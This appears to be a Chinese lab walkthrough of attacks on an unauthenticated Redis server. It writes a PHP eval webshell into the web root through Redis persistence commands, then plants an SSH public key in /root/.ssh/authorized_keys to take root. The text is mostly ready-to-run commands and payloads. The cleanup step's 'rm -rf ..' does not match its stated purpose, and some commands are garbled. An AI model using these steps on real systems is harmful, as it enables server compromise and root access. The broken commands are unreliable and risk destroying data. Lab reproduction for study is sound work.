目录
利用无口令远程登陆redis
开了web服务器,并且知道对方IP地址就可以
./redis-server ../redis.conf
./redis-cli -h 192.168.0。0[目标靶机地址]
利用Redis的持久化写webshell
安装
由于靶场没有开启web服务器,配置好apache和php
firewall-cmd --zone=public --add-port=80/tcp --permanent #开启80端口
systemctl restart firewalld.service #重启反获取
yum install php php-mysql -y
php -v
vi /etc/httpd/conf/httpd.conf 在配置文件中,添加如下内容:
AddType application/x-httpd-php-source .phps
AddType application/x-httpd-php .php
php -v
cd /var/www/html
vi info.php #新建并编写info.php文件 内容为<? php phpinfo() ?>
systemctl restart httpd #重启httpd服务
在其他计算机里测试 ip地址/info.php如出现PHP version界面,则成功
复现
靶机Redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
要开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件。)
在html目录下写入一个test.php的木马文件:
攻击机写下如下redis命令
写一句话木马
Config set dbfilename test1.php
set webshell "
<?php @eval($_POST['caidao']);?>
"
Save
打开菜刀进行连接到有一句话木马的文件里
双击菜刀首页的那个连接,就能获得所有的网站的文件内容
Redis 利用持久化,利用“公私钥“认证获取root权限
靶机要启动进入redis.cli服务里
在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa
会有一堆问题,但不用管 回车跳过就可以了
进入/root/.ssh目录: 将生成的公钥保存到1.txt:
cd /root/.ssh
(echo -e "
"; cat id_rsa.pub; echo -e "
") > 1.txt
连接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis
使用redis-cli -h ip命令连接靶机,将文件写入:
# 这里试了很多次一直出现下图错误,手打一遍才成功,有如下问题的,可以试一试
实际上是靶机没有.ssh程序 在靶机上安装一个即可
cat 1.txt | redis-cli -h [靶机ip地址] -x?set?crack
因为我此时在的路径里只有1.txt,没有redis服务,所以在管道符后面补充了redis所在的路径成功
接下来redis连接目标靶机,进入redis存放路径的src路径里,并执行以下操作
# 如果config set dir /root/.ssh 此条命令出错,新打开一条终端,进入ssh目录下,再试一遍
./redis-cli -h 192.168.0.0[靶机ip地址]
config set dir /root/.ssh #更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
CONFIG SET dbfilename authorized_keys #设置上传公钥的备份文件名字为authorized_keys
save #保存
quit
在靶机上查看一下ssh目录里是否有authorized_keys文件
此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:
ssh -i id_rsa root@192.168.0.0[目标靶机ip地址]
登陆靶机服务器,获得root权限成功
#注意:所有操作皆在攻击机(客户机)里操作,靶机只需要进入redis.cli中以及查询ssh中是否有authorized_keys文件即可。
如果有些操作一直错误,可以重头来一遍 需执行以下命令(攻击机、靶机都要删干净)
cd /root/.ssh
rm -rf .. # 把ssh里的所有文件都删掉 a* 以a开头的所有文件
删干净之后就可以重新来了。(我试了n遍才做出来,大家不要着急,慢慢来(#.#))